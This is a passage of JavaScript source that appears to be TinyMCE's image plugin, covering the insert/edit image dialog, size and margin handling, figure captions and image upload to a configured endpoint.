    var hasImageCaption = function (editor) {
      return editor.settings.image_caption === true ? true : false;
    };
    var getImageList = function (editor) {
      return editor.getParam('image_list', false);
    };
    var hasUploadUrl = function (editor) {
      return editor.getParam('images_upload_url', false);
    };
    var hasUploadHandler = function (editor) {
      return editor.getParam('images_upload_handler', false);
    };
    var getUploadUrl = function (editor) {
      return editor.getParam('images_upload_url');
    };
    var getUploadHandler = function (editor) {
      return editor.getParam('images_upload_handler');
    };
    var getUploadBasePath = function (editor) {
      return editor.getParam('images_upload_base_path');
    };
    var getUploadCredentials = function (editor) {
      return editor.getParam('images_upload_credentials');
    };
    var Settings = {
      hasDimensions: hasDimensions,
      hasAdvTab: hasAdvTab,
      getPrependUrl: getPrependUrl,
      getClassList: getClassList,
      hasDescription: hasDescription,
      hasImageTitle: hasImageTitle,
      hasImageCaption: hasImageCaption,
      getImageList: getImageList,
      hasUploadUrl: hasUploadUrl,
      hasUploadHandler: hasUploadHandler,
      getUploadUrl: getUploadUrl,
      getUploadHandler: getUploadHandler,
      getUploadBasePath: getUploadBasePath,
      getUploadCredentials: getUploadCredentials
    };

    var Global = typeof domGlobals.window !== 'undefined' ? domGlobals.window : Function('return this;')();

    var path = function (parts, scope) {
      var o = scope !== undefined && scope !== null ? scope : Global;
      for (var i = 0; i < parts.length && o !== undefined && o !== null; ++i) {
        o = o[parts[i]];
      }
      return o;
    };
    var resolve = function (p, scope) {
      var parts = p.split('.');
      return path(parts, scope);
    };

    var unsafe = function (name, scope) {
      return resolve(name, scope);
    };
    var getOrDie = function (name, scope) {
      var actual = unsafe(name, scope);
      if (actual === undefined || actual === null) {
        throw new Error(name + ' not available on this browser');
      }
      return actual;
    };
    var Global$1 = { getOrDie: getOrDie };

    function FileReader () {
      var f = Global$1.getOrDie('FileReader');
      return new f();
    }

    var global$1 = tinymce.util.Tools.resolve('tinymce.util.Promise');

    var global$2 = tinymce.util.Tools.resolve('tinymce.util.Tools');

    var global$3 = tinymce.util.Tools.resolve('tinymce.util.XHR');

    var parseIntAndGetMax = function (val1, val2) {
      return Math.max(parseInt(val1, 10), parseInt(val2, 10));
    };
    var getImageSize = function (url, callback) {
      var img = domGlobals.document.createElement('img');
      function done(width, height) {
        if (img.parentNode) {
          img.parentNode.removeChild(img);
        }
        callback({
          width: width,
          height: height
        });
      }
      img.onload = function () {
        var width = parseIntAndGetMax(img.width, img.clientWidth);
        var height = parseIntAndGetMax(img.height, img.clientHeight);
        done(width, height);
      };
      img.onerror = function () {
        done(0, 0);
      };
      var style = img.style;
      style.visibility = 'hidden';
      style.position = 'fixed';
      style.bottom = style.left = '0px';
      style.width = style.height = 'auto';
      domGlobals.document.body.appendChild(img);
      img.src = url;
    };
    var buildListItems = function (inputList, itemCallback, startItems) {
      function appendItems(values, output) {
        output = output || [];
        global$2.each(values, function (item) {
          var menuItem = { text: item.text || item.title };
          if (item.menu) {
            menuItem.menu = appendItems(item.menu);
          } else {
            menuItem.value = item.value;
            itemCallback(menuItem);
          }
          output.push(menuItem);
        });
        return output;
      }
      return appendItems(inputList, startItems || []);
    };
    var removePixelSuffix = function (value) {
      if (value) {
        value = value.replace(/px$/, '');
      }
      return value;
    };
    var addPixelSuffix = function (value) {
      if (value.length > 0 && /^[0-9]+$/.test(value)) {
        value += 'px';
      }
      return value;
    };
    var mergeMargins = function (css) {
      if (css.margin) {
        var splitMargin = css.margin.split(' ');
        switch (splitMargin.length) {
        case 1:
          css['margin-top'] = css['margin-top'] || splitMargin[0];
          css['margin-right'] = css['margin-right'] || splitMargin[0];
          css['margin-bottom'] = css['margin-bottom'] || splitMargin[0];
          css['margin-left'] = css['margin-left'] || splitMargin[0];
          break;
        case 2:
          css['margin-top'] = css['margin-top'] || splitMargin[0];
          css['margin-right'] = css['margin-right'] || splitMargin[1];
          css['margin-bottom'] = css['margin-bottom'] || splitMargin[0];
          css['margin-left'] = css['margin-left'] || splitMargin[1];
          break;
        case 3:
          css['margin-top'] = css['margin-top'] || splitMargin[0];
          css['margin-right'] = css['margin-right'] || splitMargin[1];
          css['margin-bottom'] = css['margin-bottom'] || splitMargin[2];
          css['margin-left'] = css['margin-left'] || splitMargin[1];
          break;
        case 4:
          css['margin-top'] = css['margin-top'] || splitMargin[0];
          css['margin-right'] = css['margin-right'] || splitMargin[1];
          css['margin-bottom'] = css['margin-bottom'] || splitMargin[2];
          css['margin-left'] = css['margin-left'] || splitMargin[3];
        }
        delete css.margin;
      }
      return css;
    };
    var createImageList = function (editor, callback) {
      var imageList = Settings.getImageList(editor);
      if (typeof imageList === 'string') {
        global$3.send({
          url: imageList,
          success: function (text) {
            callback(JSON.parse(text));
          }
        });
      } else if (typeof imageList === 'function') {
        imageList(callback);
      } else {
        callback(imageList);
      }
    };
    var waitLoadImage = function (editor, data, imgElm) {
      function selectImage() {
        imgElm.onload = imgElm.onerror = null;
        if (editor.selection) {
          editor.selection.select(imgElm);
          editor.nodeChanged();
        }
      }
      imgElm.onload = function () {
        if (!data.width && !data.height && Settings.hasDimensions(editor)) {
          editor.dom.setAttribs(imgElm, {
            width: imgElm.clientWidth,
            height: imgElm.clientHeight
          });
        }
        selectImage();
      };
      imgElm.onerror = selectImage;
    };
    var blobToDataUri = function (blob) {
      return new global$1(function (resolve, reject) {
        var reader = FileReader();
        reader.onload = function () {
          resolve(reader.result);
        };
        reader.onerror = function () {
          reject(reader.error.message);
        };
        reader.readAsDataURL(blob);
      });
    };
    var Utils = {
      getImageSize: getImageSize,
      buildListItems: buildListItems,
      removePixelSuffix: removePixelSuffix,
      addPixelSuffix: addPixelSuffix,
      mergeMargins: mergeMargins,
      createImageList: createImageList,
      waitLoadImage: waitLoadImage,
      blobToDataUri: blobToDataUri
    };

    var global$4 = tinymce.util.Tools.resolve('tinymce.dom.DOMUtils');

    var hasOwnProperty = Object.prototype.hasOwnProperty;
    var shallow = function (old, nu) {
      return nu;
    };
    var baseMerge = function (merger) {
      return function () {
        var objects = new Array(arguments.length);
        for (var i = 0; i < objects.length; i++) {
          objects[i] = arguments[i];
        }
        if (objects.length === 0) {
          throw new Error('Can\'t merge zero objects');
        }
        var ret = {};
        for (var j = 0; j < objects.length; j++) {
          var curObject = objects[j];
          for (var key in curObject) {
            if (hasOwnProperty.call(curObject, key)) {
              ret[key] = merger(ret[key], curObject[key]);
            }
          }
        }
        return ret;
      };
    };
    var merge = baseMerge(shallow);

    var DOM = global$4.DOM;
    var getHspace = function (image) {
      if (image.style.marginLeft && image.style.marginRight && image.style.marginLeft === image.style.marginRight) {
        return Utils.removePixelSuffix(image.style.marginLeft);
      } else {
        return '';
      }
    };
    var getVspace = function (image) {
      if (image.style.marginTop && image.style.marginBottom && image.style.marginTop === image.style.marginBottom) {
        return Utils.removePixelSuffix(image.style.marginTop);
      } else {
        return '';
      }
    };
    var getBorder = function (image) {
      if (image.style.borderWidth) {
        return Utils.removePixelSuffix(image.style.borderWidth);
      } else {
        return '';
      }
    };
    var getAttrib = function (image, name) {
      if (image.hasAttribute(name)) {
        return image.getAttribute(name);
      } else {
        return '';
      }
    };
    var getStyle = function (image, name) {
      return image.style[name] ? image.style[name] : '';
    };
    var hasCaption = function (image) {
      return image.parentNode !== null && image.parentNode.nodeName === 'FIGURE';
    };
    var setAttrib = function (image, name, value) {
      image.setAttribute(name, value);
    };
    var wrapInFigure = function (image) {
      var figureElm = DOM.create('figure', { class: 'image' });
      DOM.insertAfter(figureElm, image);
      figureElm.appendChild(image);
      figureElm.appendChild(DOM.create('figcaption', { contentEditable: true }, 'Caption'));
      figureElm.contentEditable = 'false';
    };
    var removeFigure = function (image) {
      var figureElm = image.parentNode;
      DOM.insertAfter(image, figureElm);
      DOM.remove(figureElm);
    };
    var toggleCaption = function (image) {
      if (hasCaption(image)) {
        removeFigure(image);
      } else {
        wrapInFigure(image);
      }
    };
    var normalizeStyle = function (image, normalizeCss) {
      var attrValue = image.getAttribute('style');
      var value = normalizeCss(attrValue !== null ? attrValue : '');
      if (value.length > 0) {
        image.setAttribute('style', value);
        image.setAttribute('data-mce-style', value);
      } else {
        image.removeAttribute('style');
      }
    };
    var setSize = function (name, normalizeCss) {
      return function (image, name, value) {
        if (image.style[name]) {
          image.style[name] = Utils.addPixelSuffix(value);
          normalizeStyle(image, normalizeCss);
        } else {
          setAttrib(image, name, value);
        }
      };
    };
    var getSize = function (image, name) {
      if (image.style[name]) {
        return Utils.removePixelSuffix(image.style[name]);
      } else {
        return getAttrib(image, name);
      }
    };
    var setHspace = function (image, value) {
      var pxValue = Utils.addPixelSuffix(value);
      image.style.marginLeft = pxValue;
      image.style.marginRight = pxValue;
    };
    var setVspace = function (image, value) {
      var pxValue = Utils.addPixelSuffix(value);
      image.style.marginTop = pxValue;
      image.style.marginBottom = pxValue;
    };
    var setBorder = function (image, value) {
      var pxValue = Utils.addPixelSuffix(value);
      image.style.borderWidth = pxValue;
    };
    var setBorderStyle = function (image, value) {
      image.style.borderStyle = value;
    };
    var getBorderStyle = function (image) {
      return getStyle(image, 'borderStyle');
    };
    var isFigure = function (elm) {
      return elm.nodeName === 'FIGURE';
    };
    var defaultData = function () {
      return {
        src: '',
        alt: '',
        title: '',
        width: '',
        height: '',
        class: '',
        style: '',
        caption: false,
        hspace: '',
        vspace: '',
        border: '',
        borderStyle: ''
      };
    };
    var getStyleValue = function (normalizeCss, data) {
      var image = domGlobals.document.createElement('img');
      setAttrib(image, 'style', data.style);
      if (getHspace(image) || data.hspace !== '') {
        setHspace(image, data.hspace);
      }
      if (getVspace(image) || data.vspace !== '') {
        setVspace(image, data.vspace);
      }
      if (getBorder(image) || data.border !== '') {
        setBorder(image, data.border);
      }
      if (getBorderStyle(image) || data.borderStyle !== '') {
        setBorderStyle(image, data.borderStyle);
      }
      return normalizeCss(image.getAttribute('style'));
    };
    var create = function (normalizeCss, data) {
      var image = domGlobals.document.createElement('img');
      write(normalizeCss, merge(data, { caption: false }), image);
      setAttrib(image, 'alt', data.alt);
      if (data.caption) {
        var figure = DOM.create('figure', { class: 'image' });
        figure.appendChild(image);
        figure.appendChild(DOM.create('figcaption', { contentEditable: true }, 'Caption'));
        figure.contentEditable = 'false';
        return figure;
      } else {
        return image;
      }
    };
    var read = function (normalizeCss, image) {
      return {
        src: getAttrib(image, 'src'),
        alt: getAttrib(image, 'alt'),
        title: getAttrib(image, 'title'),
        width: getSize(image, 'width'),
        height: getSize(image, 'height'),
        class: getAttrib(image, 'class'),
        style: normalizeCss(getAttrib(image, 'style')),
        caption: hasCaption(image),
        hspace: getHspace(image),
        vspace: getVspace(image),
        border: getBorder(image),
        borderStyle: getStyle(image, 'borderStyle')
      };
    };
    var updateProp = function (image, oldData, newData, name, set) {
      if (newData[name] !== oldData[name]) {
        set(image, name, newData[name]);
      }
    };
    var normalized = function (set, normalizeCss) {
      return function (image, name, value) {
        set(image, value);
        normalizeStyle(image, normalizeCss);
      };
    };
    var write = function (normalizeCss, newData, image) {
      var oldData = read(normalizeCss, image);
      updateProp(image, oldData, newData, 'caption', function (image, _name, _value) {
        return toggleCaption(image);
      });
      updateProp(image, oldData, newData, 'src', setAttrib);
      updateProp(image, oldData, newData, 'alt', setAttrib);
      updateProp(image, oldData, newData, 'title', setAttrib);
      updateProp(image, oldData, newData, 'width', setSize('width', normalizeCss));
      updateProp(image, oldData, newData, 'height', setSize('height', normalizeCss));
      updateProp(image, oldData, newData, 'class', setAttrib);
      updateProp(image, oldData, newData, 'style', normalized(function (image, value) {
        return setAttrib(image, 'style', value);
      }, normalizeCss));
      updateProp(image, oldData, newData, 'hspace', normalized(setHspace, normalizeCss));
      updateProp(image, oldData, newData, 'vspace', normalized(setVspace, normalizeCss));
      updateProp(image, oldData, newData, 'border', normalized(setBorder, normalizeCss));
      updateProp(image, oldData, newData, 'borderStyle', normalized(setBorderStyle, normalizeCss));
    };

    var normalizeCss = function (editor, cssText) {
      var css = editor.dom.styles.parse(cssText);
      var mergedCss = Utils.mergeMargins(css);
      var compressed = editor.dom.styles.parse(editor.dom.styles.serialize(mergedCss));
      return editor.dom.styles.serialize(compressed);
    };
    var getSelectedImage = function (editor) {
      var imgElm = editor.selection.getNode();
      var figureElm = editor.dom.getParent(imgElm, 'figure.image');
      if (figureElm) {
        return editor.dom.select('img', figureElm)[0];
      }
      if (imgElm && (imgElm.nodeName !== 'IMG' || imgElm.getAttribute('data-mce-object') || imgElm.getAttribute('data-mce-placeholder'))) {
        return null;
      }
      return imgElm;
    };
    var splitTextBlock = function (editor, figure) {
      var dom = editor.dom;
      var textBlock = dom.getParent(figure.parentNode, function (node) {
        return editor.schema.getTextBlockElements()[node.nodeName];
      }, editor.getBody());
      if (textBlock) {
        return dom.split(textBlock, figure);
      } else {
        return figure;
      }
    };
    var readImageDataFromSelection = function (editor) {
      var image = getSelectedImage(editor);
      return image ? read(function (css) {
        return normalizeCss(editor, css);
      }, image) : defaultData();
    };
    var insertImageAtCaret = function (editor, data) {
      var elm = create(function (css) {
        return normalizeCss(editor, css);
      }, data);
      editor.dom.setAttrib(elm, 'data-mce-id', '__mcenew');
      editor.focus();
      editor.selection.setContent(elm.outerHTML);
      var insertedElm = editor.dom.select('*[data-mce-id="__mcenew"]')[0];
      editor.dom.setAttrib(insertedElm, 'data-mce-id', null);
      if (isFigure(insertedElm)) {
        var figure = splitTextBlock(editor, insertedElm);
        editor.selection.select(figure);
      } else {
        editor.selection.select(insertedElm);
      }
    };
    var syncSrcAttr = function (editor, image) {
      editor.dom.setAttrib(image, 'src', image.getAttribute('src'));
    };
    var deleteImage = function (editor, image) {
      if (image) {
        var elm = editor.dom.is(image.parentNode, 'figure.image') ? image.parentNode : image;
        editor.dom.remove(elm);
        editor.focus();
        editor.nodeChanged();
        if (editor.dom.isEmpty(editor.getBody())) {
          editor.setContent('');
          editor.selection.setCursorLocation();
        }
      }
    };
    var writeImageDataToSelection = function (editor, data) {
      var image = getSelectedImage(editor);
      write(function (css) {
        return normalizeCss(editor, css);
      }, data, image);
      syncSrcAttr(editor, image);
      if (isFigure(image.parentNode)) {
        var figure = image.parentNode;
        splitTextBlock(editor, figure);
        editor.selection.select(image.parentNode);
      } else {
        editor.selection.select(image);
        Utils.waitLoadImage(editor, data, image);
      }
    };
    var insertOrUpdateImage = function (editor, data) {
      var image = getSelectedImage(editor);
      if (image) {
        if (data.src) {
          writeImageDataToSelection(editor, data);
        } else {
          deleteImage(editor, image);
        }
      } else if (data.src) {
        insertImageAtCaret(editor, data);
      }
    };

    var updateVSpaceHSpaceBorder = function (editor) {
      return function (evt) {
        var dom = editor.dom;
        var rootControl = evt.control.rootControl;
        if (!Settings.hasAdvTab(editor)) {
          return;
        }
        var data = rootControl.toJSON();
        var css = dom.parseStyle(data.style);
        rootControl.find('#vspace').value('');
        rootControl.find('#hspace').value('');
        css = Utils.mergeMargins(css);
        if (css['margin-top'] && css['margin-bottom'] || css['margin-right'] && css['margin-left']) {
          if (css['margin-top'] === css['margin-bottom']) {
            rootControl.find('#vspace').value(Utils.removePixelSuffix(css['margin-top']));
          } else {
            rootControl.find('#vspace').value('');
          }
          if (css['margin-right'] === css['margin-left']) {
            rootControl.find('#hspace').value(Utils.removePixelSuffix(css['margin-right']));
          } else {
            rootControl.find('#hspace').value('');
          }
        }
        if (css['border-width']) {
          rootControl.find('#border').value(Utils.removePixelSuffix(css['border-width']));
        } else {
          rootControl.find('#border').value('');
        }
        if (css['border-style']) {
          rootControl.find('#borderStyle').value(css['border-style']);
        } else {
          rootControl.find('#borderStyle').value('');
        }
        rootControl.find('#style').value(dom.serializeStyle(dom.parseStyle(dom.serializeStyle(css))));
      };
    };
    var updateStyle = function (editor, win) {
      win.find('#style').each(function (ctrl) {
        var value = getStyleValue(function (css) {
          return normalizeCss(editor, css);
        }, merge(defaultData(), win.toJSON()));
        ctrl.value(value);
      });
    };
    var makeTab = function (editor) {
      return {
        title: 'Advanced',
        type: 'form',
        pack: 'start',
        items: [
          {
            label: 'Style',
            name: 'style',
            type: 'textbox',
            onchange: updateVSpaceHSpaceBorder(editor)
          },
          {
            type: 'form',
            layout: 'grid',
            packV: 'start',
            columns: 2,
            padding: 0,
            defaults: {
              type: 'textbox',
              maxWidth: 50,
              onchange: function (evt) {
                updateStyle(editor, evt.control.rootControl);
              }
            },
            items: [
              {
                label: 'Vertical space',
                name: 'vspace'
              },
              {
                label: 'Border width',
                name: 'border'
              },
              {
                label: 'Horizontal space',
                name: 'hspace'
              },
              {
                label: 'Border style',
                type: 'listbox',
                name: 'borderStyle',
                width: 90,
                maxWidth: 90,
                onselect: function (evt) {
                  updateStyle(editor, evt.control.rootControl);
                },
                values: [
                  {
                    text: 'Select...',
                    value: ''
                  },
                  {
                    text: 'Solid',
                    value: 'solid'
                  },
                  {
                    text: 'Dotted',
                    value: 'dotted'
                  },
                  {
                    text: 'Dashed',
                    value: 'dashed'
                  },
                  {
                    text: 'Double',
                    value: 'double'
                  },
                  {
                    text: 'Groove',
                    value: 'groove'
                  },
                  {
                    text: 'Ridge',
                    value: 'ridge'
                  },
                  {
                    text: 'Inset',
                    value: 'inset'
                  },
                  {
                    text: 'Outset',
                    value: 'outset'
                  },
                  {
                    text: 'None',
                    value: 'none'
                  },
                  {
                    text: 'Hidden',
                    value: 'hidden'
                  }
                ]
              }
            ]
          }
        ]
      };
    };
    var AdvTab = { makeTab: makeTab };

    var doSyncSize = function (widthCtrl, heightCtrl) {
      widthCtrl.state.set('oldVal', widthCtrl.value());
      heightCtrl.state.set('oldVal', heightCtrl.value());
    };
    var doSizeControls = function (win, f) {
      var widthCtrl = win.find('#width')[0];
      var heightCtrl = win.find('#height')[0];
      var constrained = win.find('#constrain')[0];
      if (widthCtrl && heightCtrl && constrained) {
        f(widthCtrl, heightCtrl, constrained.checked());
      }
    };
    var doUpdateSize = function (widthCtrl, heightCtrl, isContrained) {
      var oldWidth = widthCtrl.state.get('oldVal');
      var oldHeight = heightCtrl.state.get('oldVal');
      var newWidth = widthCtrl.value();
      var newHeight = heightCtrl.value();
      if (isContrained && oldWidth && oldHeight && newWidth && newHeight) {
        if (newWidth !== oldWidth) {
          newHeight = Math.round(newWidth / oldWidth * newHeight);
          if (!isNaN(newHeight)) {
            heightCtrl.value(newHeight);
          }
        } else {
          newWidth = Math.round(newHeight / oldHeight * newWidth);
          if (!isNaN(newWidth)) {
            widthCtrl.value(newWidth);
          }
        }
      }
      doSyncSize(widthCtrl, heightCtrl);
    };
    var syncSize = function (win) {
      doSizeControls(win, doSyncSize);
    };
    var updateSize = function (win) {
      doSizeControls(win, doUpdateSize);
    };
    var createUi = function () {
      var recalcSize = function (evt) {
        updateSize(evt.control.rootControl);
      };
      return {
        type: 'container',
        label: 'Dimensions',
        layout: 'flex',
        align: 'center',
        spacing: 5,
        items: [
          {
            name: 'width',
            type: 'textbox',
            maxLength: 5,
            size: 5,
            onchange: recalcSize,
            ariaLabel: 'Width'
          },
          {
            type: 'label',
            text: 'x'
          },
          {
            name: 'height',
            type: 'textbox',
            maxLength: 5,
            size: 5,
            onchange: recalcSize,
            ariaLabel: 'Height'
          },
          {
            name: 'constrain',
            type: 'checkbox',
            checked: true,
            text: 'Constrain proportions'
          }
        ]
      };
    };
    var SizeManager = {
      createUi: createUi,
      syncSize: syncSize,
      updateSize: updateSize
    };

    var onSrcChange = function (evt, editor) {
      var srcURL, prependURL, absoluteURLPattern;
      var meta = evt.meta || {};
      var control = evt.control;
      var rootControl = control.rootControl;
      var imageListCtrl = rootControl.find('#image-list')[0];
      if (imageListCtrl) {
        imageListCtrl.value(editor.convertURL(control.value(), 'src'));
      }
      global$2.each(meta, function (value, key) {
        rootControl.find('#' + key).value(value);
      });
      if (!meta.width && !meta.height) {
        srcURL = editor.convertURL(control.value(), 'src');
        prependURL = Settings.getPrependUrl(editor);
        absoluteURLPattern = new RegExp('^(?:[a-z]+:)?//', 'i');
        if (prependURL && !absoluteURLPattern.test(srcURL) && srcURL.substring(0, prependURL.length) !== prependURL) {
          srcURL = prependURL + srcURL;
        }
        control.value(srcURL);
        Utils.getImageSize(editor.documentBaseURI.toAbsolute(control.value()), function (data) {
          if (data.width && data.height && Settings.hasDimensions(editor)) {
            rootControl.find('#width').value(data.width);
            rootControl.find('#height').value(data.height);
            SizeManager.syncSize(rootControl);
          }
        });
      }
    };
    var onBeforeCall = function (evt) {
      evt.meta = evt.control.rootControl.toJSON();
    };
    var getGeneralItems = function (editor, imageListCtrl) {
      var generalFormItems = [
        {
          name: 'src',
          type: 'filepicker',
          filetype: 'image',
          label: 'Source',
          autofocus: true,
          onchange: function (evt) {
            onSrcChange(evt, editor);
          },
          onbeforecall: onBeforeCall
        },
        imageListCtrl
      ];
      if (Settings.hasDescription(editor)) {
        generalFormItems.push({
          name: 'alt',
          type: 'textbox',
          label: 'Image description'
        });
      }
      if (Settings.hasImageTitle(editor)) {
        generalFormItems.push({
          name: 'title',
          type: 'textbox',
          label: 'Image Title'
        });
      }
      if (Settings.hasDimensions(editor)) {
        generalFormItems.push(SizeManager.createUi());
      }
      if (Settings.getClassList(editor)) {
        generalFormItems.push({
          name: 'class',
          type: 'listbox',
          label: 'Class',
          values: Utils.buildListItems(Settings.getClassList(editor), function (item) {
            if (item.value) {
              item.textStyle = function () {
                return editor.formatter.getCssText({
                  inline: 'img',
                  classes: [item.value]
                });
              };
            }
          })
        });
      }
      if (Settings.hasImageCaption(editor)) {
        generalFormItems.push({
          name: 'caption',
          type: 'checkbox',
          label: 'Caption'
        });
      }
      return generalFormItems;
    };
    var makeTab$1 = function (editor, imageListCtrl) {
      return {
        title: 'General',
        type: 'form',
        items: getGeneralItems(editor, imageListCtrl)
      };
    };
    var MainTab = {
      makeTab: makeTab$1,
      getGeneralItems: getGeneralItems
    };

    var url = function () {
      return Global$1.getOrDie('URL');
    };
    var createObjectURL = function (blob) {
      return url().createObjectURL(blob);
    };
    var revokeObjectURL = function (u) {
      url().revokeObjectURL(u);
    };
    var URL = {
      createObjectURL: createObjectURL,
      revokeObjectURL: revokeObjectURL
    };

    var global$5 = tinymce.util.Tools.resolve('tinymce.ui.Factory');

    function XMLHttpRequest () {
      var f = Global$1.getOrDie('XMLHttpRequest');
      return new f();
    }

    var noop = function () {
    };
    var pathJoin = function (path1, path2) {
      if (path1) {
        return path1.replace(/\/$/, '') + '/' + path2.replace(/^\//, '');
      }
      return path2;
    };
    function Uploader (settings) {
      var defaultHandler = function (blobInfo, success, failure, progress) {
        var xhr, formData;
        xhr = XMLHttpRequest();
        xhr.open('POST', settings.url);
        xhr.withCredentials = settings.credentials;
        xhr.upload.onprogress = function (e) {
          progress(e.loaded / e.total * 100);
        };
        xhr.onerror = function () {
          failure('Image upload failed due to a XHR Transport error. Code: ' + xhr.status);
        };
        xhr.onload = function () {
          var json;
          if (xhr.status < 200 || xhr.status >= 300) {
            failure('HTTP Error: ' + xhr.status);
            return;
          }
          json = JSON.parse(xhr.responseText);
          if (!json || typeof json.location !== 'string') {
            failure('Invalid JSON: ' + xhr.responseText);
            return;
          }
          success(pathJoin(settings.basePath, json.location));
        };
        formData = new domGlobals.FormData();
        formData.append('file', blobInfo.blob(), blobInfo.filename());
        xhr.send(formData);
      };
      var uploadBlob = function (blobInfo, handler) {
        return new global$1(function (resolve, reject) {
          try {
            handler(blobInfo, resolve, reject, noop);
          } catch (ex) {
            reject(ex.message);
          }
        });
      };
      var isDefaultHandler = function (handler) {
        return handler === defaultHandler;
      };
      var upload = function (blobInfo) {
        return !settings.url && isDefaultHandler(settings.handler) ? global$1.reject('Upload url missing from the settings.') : uploadBlob(blobInfo, settings.handler);
      };
      settings = global$2.extend({
        credentials: false,
        handler: defaultHandler
      }, settings);
      return { upload: upload };
    }

    var onFileInput = function (editor) {
      return function (evt) {
        var Throbber = global$5.get('Throbber');
        var rootControl = evt.control.rootControl;
        var throbber = new Throbber(rootControl.getEl());
        var file = evt.control.value();
        var blobUri = URL.createObjectURL(file);
        var uploader = Uploader({
          url: Settings.getUploadUrl(editor),
          basePath: Settings.getUploadBasePath(editor),
          credentials: Settings.getUploadCredentials(editor),
          handler: Settings.getUploadHandler(editor)
        });
        var finalize = function () {
          throbber.hide();
          URL.revokeObjectURL(blobUri);
        };
        throbber.show();
        return Utils.blobToDataUri(file).then(function (dataUrl) {
          var blobInfo = editor.editorUpload.blobCache.create({
            blob: file,
            blobUri: blobUri,
            name: file.name ? file.name.replace(/\.[^\.]+$/, '') : null,
            base64: dataUrl.split(',')[1]
          });
          return uploader.upload(blobInfo).then(function (url) {
            var src = rootControl.find('#src');
            src.value(url);
            rootControl.find('tabpanel')[0].activateTab(0);
            src.fire('change');
            finalize();
            return url;
          });
        }).catch(function (err) {
          editor.windowManager.alert(err);
          finalize();
        });
      };
    };
    var acceptExts = '.jpg,.jpeg,.png,.gif';
    var makeTab$2 = function (editor) {
      return {
        title: 'Upload',
        type: 'form',
        layout: 'flex',
        direction: 'column',
        align: 'stretch',
        padding: '20 20 20 20',
        items: [
          {
            type: 'container',
            layout: 'flex',
            direction: 'column',
            align: 'center',
            spacing: 10,
            items: [
              {
                text: 'Browse for an image',
                type: 'browsebutton',
                accept: acceptExts,
                onchange: onFileInput(editor)
              },
              {
                text: 'OR',
                type: 'label'
              }
            ]
          },
          {
            text: 'Drop an image here',
            type: 'dropzone',
            accept: acceptExts,
            height: 100,
            onchange: onFileInput(editor)
          }
        ]
      };
    };
    var UploadTab = { makeTab: makeTab$2 };

    function curry(fn) {
      var initialArgs = [];
      for (var _i = 1; _i < arguments.length; _i++) {
        initialArgs[_i - 1] = arguments[_i];
      }
      return function () {
        var restArgs = [];
        for (var _i = 0; _i < arguments.length; _i++) {
          restArgs[_i] = arguments[_i];
        }
        var all = initialArgs.concat(restArgs);
        return fn.apply(null, all);
      };
    }

    var submitForm = function (editor, evt) {
      var win = evt.control.getRoot();
      SizeManager.updateSize(win);
      editor.undoManager.transact(function () {
        var data = merge(readImageDataFromSelection(editor), win.toJSON());
        insertOrUpdateImage(editor, data);
      });
      editor.editorUpload.uploadImagesAuto();
    };
    function Dialog (editor) {
      function showDialog(imageList) {
        var data = readImageDataFromSelection(editor);
        var win, imageListCtrl;
        if (imageList) {
          imageListCtrl = {
            type: 'listbox',
            label: 'Image list',
            name: 'image-list',
            values: Utils.buildListItems(imageList, function (item) {
              item.value = editor.convertURL(item.value || item.url, 'src');
            }, [{
                text: 'None',
                value: ''
              }]),
            value: data.src && editor.convertURL(data.src, 'src'),
            onselect: function (e) {
              var altCtrl = win.find('#alt');
              if (!altCtrl.value() || e.lastControl && altCtrl.value() === e.lastControl.text()) {
                altCtrl.value(e.control.text());
              }
              win.find('#src').value(e.control.value()).fire('change');
            },
            onPostRender: function () {
              imageListCtrl = this;
            }
          };
        }
        if (Settings.hasAdvTab(editor) || Settings.hasUploadUrl(editor) || Settings.hasUploadHandler(editor)) {
          var body = [MainTab.makeTab(editor, imageListCtrl)];
          if (Settings.hasAdvTab(editor)) {
            body.push(AdvTab.makeTab(editor));
          }
          if (Settings.hasUploadUrl(editor) || Settings.hasUploadHandler(editor)) {
            body.push(UploadTab.makeTab(editor));
          }
          win = editor.windowManager.open({
            title: 'Insert/edit image',
            data: data,
            bodyType: 'tabpanel',
            body: body,
            onSubmit: curry(submitForm, editor)
          });
        } else {
          win = editor.windowManager.open({
            title: 'Insert/edit image',
            data: data,
            body: MainTab.getGeneralItems(editor, imageListCtrl),
            onSubmit: curry(submitForm, editor)
          });
        }
        SizeManager.syncSize(win);
      }
      function open() {
        Utils.createImageList(editor, showDialog);
      }
      return { open: open };
    }

    var register = function (editor) {
      editor.addCommand('mceImage', Dialog(editor).open);
    };
    var Commands = { register: register };

    var hasImageClass = function (node) {
      var className = node.attr('class');
      return className && /\bimage\b/.test(className);
    };
    var toggleContentEditableState = function (state) {
      return function (nodes) {
        var i = nodes.length, node;
        var toggleContentEditable = function (node) {
          node.attr('contenteditable', state ? 'true' : null);
        };
        while (i--) {
          node = nodes[i];
          if (hasImageClass(node)) {
            node.attr('contenteditable', state ? 'false' : null);
            global$2.each(node.getAll('figcaption'), toggleContentEditable);
          }
        }
      };
    };
    var setup = function (editor) {
      editor.on('preInit', function () {
        editor.parser.addNodeFilter('figure', toggleContentEditableState(true));
        editor.serializer.addNodeFilter('figure', toggleContentEditableState(false));
      });
    };
    var FilterContent = { setup: setup };

    var register$1 = function (editor) {
      editor.addButton('image', {
        icon: 'image',
        tooltip: 'Insert/edit image',
        onclick: Dialog(editor).open,
        stateSelector: 'img:not([data-mce-object],[data-mce-placeholder]),figure.image'
      });
      editor.addMenuItem('image', {
        icon: 'image',
        text: 'Image',
        onclick: Dialog(editor).open,
        context: 'insert',
        prependToContext: true
      });
    };
    var Buttons = { register: register$1 };

    global.add('image', function (editor) {
      FilterContent.setup(editor);
      Buttons.register(editor);
      Commands.register(editor);
    });
    function Plugin () {
    }

    return Plugin;

}(window));
})();
